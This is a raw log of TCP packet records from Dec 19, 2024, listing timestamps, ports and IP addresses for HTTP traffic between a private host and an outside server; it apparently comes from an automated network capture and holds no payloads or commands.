Dec 19, 2024 08:21:13.970453024 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.970549107 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.970648050 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.970793962 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.970972061 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.971070051 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.971215010 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.971247911 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.971477985 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.971508026 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.971543074 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.971600056 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.971631050 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.971981049 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.972603083 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.972646952 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.972668886 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.972738028 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.972743034 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.972778082 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.972781897 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.972855091 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.972884893 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.972899914 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.972933054 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.972979069 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.973028898 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973042965 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973107100 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.973133087 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973157883 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973206043 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.973247051 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973270893 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973303080 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.973351955 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973366022 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973444939 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:13.973459005 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973474026 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973495007 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973524094 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973579884 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973614931 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973648071 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973731041 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973743916 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973790884 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.973803997 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974004984 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974019051 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974033117 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974046946 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974061966 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974075079 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974087000 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974101067 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974220991 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974235058 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974247932 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974261045 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974319935 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974333048 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974345922 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974406004 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974421024 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974442959 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974543095 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:13.974556923 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.089751005 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.089767933 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.089963913 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.090033054 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.090158939 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.090208054 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.090362072 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.090375900 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.090565920 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.090956926 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:14.091042042 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:14.092089891 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092103958 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092185020 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092251062 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092289925 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092343092 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092398882 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092412949 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092439890 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092498064 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092535973 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092607975 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092623949 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092637062 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092664957 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092689991 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.092988014 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.093128920 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.093267918 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.093292952 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.093400002 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.093564034 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.093795061 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.093842030 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.093919039 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.093933105 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094055891 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094069004 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094083071 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094124079 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094249964 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094261885 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094278097 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094300985 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094346046 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094463110 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094475985 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094520092 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094654083 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094670057 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094779968 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094794035 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094875097 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094887972 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094932079 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.094944954 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.095062971 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.095076084 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.095206022 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.095259905 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.095408916 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.095422983 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.095488071 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.096551895 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.097197056 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:14.097264051 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:14.210757971 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.210814953 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.210844040 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.210897923 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.210926056 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.210974932 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211003065 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211031914 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211059093 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211108923 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211138010 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211165905 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211203098 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211255074 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211282969 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211353064 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211380005 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211426020 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211453915 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211484909 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211535931 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211627007 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211656094 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211720943 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211749077 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211802006 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211829901 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211879015 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211906910 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211956978 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.211983919 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212096930 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212148905 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212234020 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212265015 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212313890 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212341070 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212388992 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212415934 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212466002 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212493896 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212522030 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212568998 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212596893 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212625980 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212673903 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212702036 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212752104 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212780952 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212814093 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212841988 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212891102 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212924004 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.212971926 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.215349913 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:14.215441942 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:14.217044115 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.217132092 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.217164993 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.217267036 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.217295885 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.217345953 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.217375994 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.217438936 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.217468023 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.217556953 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.217586040 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.217782021 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.218107939 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.218276978 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.218306065 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.218337059 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.218364000 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.218605995 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.218760014 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.219091892 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.219122887 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.219901085 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.220079899 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.220717907 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.220858097 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.220886946 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.220915079 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.220947027 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.220974922 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221003056 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221030951 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221057892 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221110106 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221138000 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221165895 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221193075 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221220016 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221247911 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221275091 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221302986 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221330881 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221359968 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221385956 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221421003 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221447945 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221476078 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221507072 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221535921 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221564054 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221590996 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221617937 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221645117 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221673012 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.221700907 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.222563028 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:14.335953951 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.335994959 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336113930 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336143970 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336256981 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336464882 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336601019 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336631060 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336659908 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336688042 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336744070 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336771965 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336910963 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.336939096 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337073088 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337104082 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337131977 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337160110 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337239981 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337271929 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337371111 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337399960 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337429047 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337536097 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337563992 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337692976 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337855101 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.337901115 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338000059 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338028908 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338058949 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338085890 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338115931 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338143110 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338192940 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338221073 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338295937 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338325024 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338352919 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338381052 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338430882 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338458061 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338484049 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338510990 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338591099 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338618040 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338645935 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338740110 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338783026 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338809967 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338911057 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.338938951 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.339050055 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.339077950 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342314959 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342344046 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342394114 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342422962 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342472076 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342499971 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342614889 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342643976 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342725039 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342773914 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342807055 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342855930 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342899084 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.342987061 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343019962 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343048096 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343136072 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343169928 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343220949 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343252897 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343357086 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343385935 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343436003 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343465090 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343513966 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343540907 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343619108 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343647957 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343696117 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343724012 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343811035 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:14.343837976 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:16.553980112 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:16.557281017 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:16.677246094 CET	80	49709	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:16.677392006 CET	49709	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:17.221765995 CET	49720	80	192.168.2.10	194.87.47.113
Dec 19, 2024 08:21:17.341422081 CET	80	49720	194.87.47.113	192.168.2.10
Dec 19, 2024 08:21:17.341506004 CET	49720	80	192.168.2.10	194.87.47.113
